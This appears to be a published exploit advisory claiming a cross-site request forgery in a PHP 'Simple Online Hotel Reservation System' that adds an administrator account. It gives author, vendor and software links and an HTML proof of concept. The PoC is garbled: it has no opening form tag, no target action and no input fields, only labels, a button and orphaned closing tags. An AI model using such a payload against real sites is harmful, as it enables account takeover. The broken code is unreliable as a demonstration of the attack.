Simple Online Hotel Reservation System – Cross-Site Request Forgery (Add Admin)

# Exploit Title: Simple Online Hotel Reservation System- Cross-Site Request Forgery (Add Admin)

# Exploit Author: Mr Winst0n

# Author E-mail: manamtabeshekan[@]gmail[.]com

# Discovery Date: February 25, 2019

# Vendor Homepage: https://code-projects.org/

# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/

# Tested on: Kali linux, Windows 8.1

# PoC:

<html>

<head>

<title>Add Admin</title>

</head>

<body>

<label>Username </label>

<label>Password </label>

<button name = "add_account">Saved</button>

</div>

</form>

</body>

</html>